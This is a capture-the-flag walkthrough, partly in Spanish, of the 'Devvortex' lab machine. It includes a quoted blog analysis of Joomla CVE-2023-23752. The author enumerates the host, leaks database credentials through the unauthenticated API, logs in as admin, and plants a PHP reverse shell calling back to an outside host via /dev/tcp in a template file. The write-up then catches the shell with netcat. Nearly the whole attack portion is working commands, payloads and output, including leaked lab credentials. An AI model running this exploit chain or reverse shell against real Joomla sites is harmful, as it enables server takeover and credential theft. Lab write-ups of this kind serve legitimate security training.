

nmap

nmap 10.10.11.242
Starting Nmap 7.94SVN (<https://nmap.org>) at 2024-01-13 11:51 CET
Nmap scan report for Devvortex (10.10.11.242)
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 2.80 seconds

gobuster dir -u <http://devvortex.htb/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

```
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:           http://devvortex.htb/
[+] Method:        GET
[+] Threads:       50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Timeout:       10s
=====
```

Starting gobuster in directory enumeration mode

```
=====
/images      (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
/css         (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
/js          (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]
Progress: 3828 / 220561 (1.74%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 3974 / 220561 (1.80%)
=====
```

Finished

gobuster dns -d devvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -t 20

```
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Domain:      devvortex.htb
[+] Threads:     20
[+] Timeout:     1s
[+] Wordlist:     /usr/share/wordlists/amass/subdomains-top1mil-20000.txt
=====
```

Starting gobuster in DNS enumeration mode

Found: dev.devvortex.htb

```
=====
Progress: 107 / 20001 (0.53%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 107 / 20001 (0.53%)
=====
```

Finished

#Buscamos dentro del dev

robots.txt

#Vamos a la página /robot.txt
<http://dev.devvortex.htb/robots.txt>

If the Joomla site is installed within a folder
eg www.example.com/joomla/ then the robots.txt file
MUST be moved to the site root
eg www.example.com/robots.txt
AND the joomla folder name MUST be prefixed to all of the
paths.
eg the Disallow rule for the /administrator/ folder MUST
be changed to read
Disallow: /joomla/administrator/

For more information about the robots.txt standard, see:
<https://www.robotstxt.org/orig.html>

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

gobuster dir -u <http://dev.devvortex.htb/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

=====

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

=====

[+] Url: <http://dev.devvortex.htb/>
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

=====

Starting gobuster in directory enumeration mode

=====

/images	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/
/home	(Status: 200) [Size: 23221]
/media	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/
/templates	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/
/modules	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/
/plugins	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/
/includes	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/
/language	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/
/components	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/
/api	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/
/cache	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/
/libraries	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/
/tmp	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/
/layouts	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/
/administrator	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/
/cli	(Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cli/

#Nos dirigimos a /administrator
<http://dev.devvortex.htb/administrator/>

#Nos encontramos con una página de login.

#Vemos un artículo como habla de un RCE en Joomla.

<https://vulncheck.com/blog/joomla-for-rce>

CVE-2023-23752

CVE-2023-23752 to Code Execution #1

As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext. The following demonstrates the leak:

```
curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http://10.9.49.205/api/index.php/v1/config/application?public=true","next":"http://10.9.49.205/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http://10.9.49.205/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":"224"},"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":"224"},"type":"application","id":"224","attributes":{"display_offline_message":1,"id":"224"},"type":"application","id":"224","attributes":{"offline_image":"","id":"224"},"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":"224"},"type":"application","id":"224","attributes":{"editor":"tinymce","id":"224"},"type":"application","id":"224","attributes":{"captcha":"0","id":"224"},"type":"application","id":"224","attributes":{"list_limit":20,"id":"224"},"type":"application","id":"224","attributes":{"access":1,"id":"224"},"type":"application","id":"224","attributes":{"debug":false,"id":"224"},"type":"application","id":"224","attributes":{"debug_lang":false,"id":"224"},"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":"224"},"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":"224"},"type":"application","id":"224","attributes":{"host":"localhost","id":"224"},"type":"application","id":"224","attributes":{"user":"root","id":"224"},"type":"application","id":"224","attributes":{"password":"labpass1","id":"224"},"type":"application","id":"224","attributes":{"db":"joomla_db","id":"224"},"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":"224"},"type":"application","id":"224","attributes":{"dbencryption":0,"id":"224"},"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":"224"}},{"meta":{"total_pages":4}]}
```

In the proof of concept above, the server responds with the credentials `root:labpass1`, which are the credentials for our test Joomla! MySQL account. But it's important to know that our test MySQL server was bound to `127.0.0.1`, so the remote attacker can't access the server, making the credentials mostly useless. Binding MySQL to the localhost should be the most common configuration, which severely limits this credential leak.

However, it appears there are a good number of internet-facing Joomla! installations that use a MySQL server that *isn't* bound to `127.0.0.1`. Censys shows thousands of Joomla! Servers colocated with an exposed MySQL server.

An attacker with credentials to the MySQL server won't automatically be able to execute arbitrary code. Old MySQL [attack techniques](#) that manipulate local files should be unusable on any modern and/or decently configured server. But access to the MySQL server should still provide a path to code execution.

Access to the database allows the attacker to change the Joomla! Super User's password. Joomla! even [documents](#) how this can be done using only database access. The following demonstrates the password change to "secret" using the MySQL client.

```
mysql> use joomla_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_joomla_db |
+-----+
| xj3n0_action_log_config |
| xj3n0_action_logs      |
... truncated ...
mysql> select * from xj3n0_users;
```

```
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| id | name | username | email | password | block | sendEmail | registerDate |
lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 552 | jake | albinolobster | albinolobster@vulncheck.com | $2y$10$GL9tEHKez5Wa6sr2CjXXmetAr6cOOo7DpE9j1KaeJCly1UwnaYUVO |
0 | 1 | 2023-03-17 15:07:45 | 2023-03-17 16:41:04 | 0 | NULL | 0 | 0 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.00 sec)

mysql> Update xj3n0_users SET password = "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199" WHERE
id=552;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0

mysql>
```

The attacker can then log into the Joomla! administrative web interface. As the Super User, the attacker has two easy paths to execute arbitrary code.

1. [Modify a template](#) to include malicious PHP. The image below demonstrates the addition of a tiny webshell to `index.php`. This will allow the attacker to execute arbitrary code as the `www-data` user by sending requests to the instance's landing page (e.g. `curl -k http://10.9.49.205/?cmd=whoami`)

1. Install a malicious plugin such as [Joomla-webshell-plugin](#). Both are viable options. Both are achievable because the MySQL credential leak allows the attacker to take over a Super User account. That isn't the only way though. CVE-2023-23752 provides a second method for chasing after a Super User account.

CVE-2023-23752 to Code Execution #2

Instead of leaking the MySQL credentials, the attacker can leak the Joomla! user database using CVE-2023-23752:

```
curl -v http://10.9.49.205/api/index.php/v1/users?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/users?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 16:11:38 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 16:11:38 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 418
< Content-Type: application/vnd.api+json; charset=utf-8
<
* Connection #0 to host 10.9.49.205 left intact
{"links":{"self":"http://10.9.49.205/api/index.php/v1/users?public=true"},"data":[{"type":"users","id":"552","attributes":{"id":552,"name":"jake","username":"albinolobster","email":"albinolobster@vulncheck.com","block":0,"sendEmail":1,"registerDate":"2023-03-17 15:07:45","lastvisitDate":"2023-03-20 15:35:58","lastResetTime":null,"resetCount":0,"group_count":1,"group_names":["Super Users"]},"meta":{"total-pages":1}]}
```

The database output contains usernames, emails, and assigned group (e.g. `Super Users`). This should be enough for credential stuffing or [brute forcing](#) to achieve Super User access. Some bad administrators might even reuse the MySQL password for the Super User account. Either way, this additional leak has the added benefit of not relying on MySQL being reachable. Once Super User access is achieved, the attacker can follow the previously discussed paths to code execution.

Conclusion

CVE-2023-23752 is an authentication bypass resulting in an information leak on Joomla! Servers. Although rated as a CVSSv3 5.3 (Medium severity) by [NVD](#), this vulnerability could allow an attacker to achieve code execution under the right circumstances. That likely justifies the interest attackers have shown in this vulnerability. The total number of vulnerable servers was never high and patching has occurred at a good rate. However, anyone using Joomla! Version 4 should probably consider rotating all passwords. Additionally, examining template files for webshells and auditing all installed plugins would be beneficial.

RCE

```
curl "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq .
```

% Total	% Received	% Xferd	Average Speed	Time	Time	Time	Current
		Dload	Upload	Total	Spent	Left	Speed
100	2010	0	2010	0	0	4006	0
					----	----	----
							4020

```
{
  "links": {
    "self": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true",
    "next": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
    "last": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data": [
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline": false,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline_message": "This site is down for maintenance.<br>Please check back again soon.",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "display_offline_message": 1,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline_image": "",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "sitename": "Development",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "editor": "tinymce",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "captcha": "0",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "list_limit": 20,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "access": 1,

```

```

    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "debug": false,
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "debug_lang": false,
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "debug_lang_const": true,
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "dbtype": "mysqli",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "host": "localhost",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "user": "lewis",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "password": "P4ntherg0t1n5r3c0n# #",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "db": "joomla",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "dbprefix": "sd4fg_",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "dbencryption": 0,
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {

```



```

        "dbsslverifyservercert": false,
        "id": 224
    }
},
"meta": {
    "total-pages": 4
}
}

```

#Podemos ver como se filtran datos de un usuario llamado lewis.

```

"type": "application",
  "id": "224",
  "attributes": {
    "user": "lewis",
    "id": 224
  }
},
{
  "type": "application",
  "id": "224",
  "attributes": {
    "password": "P4ntherg0t1n5r3c0n##",
    "id": 224
  }
}

```

#Tenemos credenciales.

lewis:P4ntherg0t1n5r3c0n##

Desde aquí supe que ejecutar código PHP es fácil y requiere edición de plantillas. Fui a Sistema->Plantillas->Plantillas de administrador->index.php

#Añadimos el RCD y le damos a guardar.

<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.60/4444 0>&1'");

```

/**
 * @package Joomla.Administrator
 * @subpackage Templates.Atum
 * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org

```

#Con el listener activado. Tenemos ya un RCE.

```

nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.60] from (UNKNOWN) [10.10.11.242] 53096
bash: cannot set terminal process group (878): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/administrator$

```

```

CONTROL+Z
stty raw -echo; fg
export TERM=xterm

```

```

www-data@devvortex:~/dev.devvortex.htb/administrator$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

priv_escalation

```
www-data@devvortex: ~/dev.devvortex.htb/administrator$ mysql -u lewis -p
```

creeds

lewis:P4ntherg0t1n5r3c0n##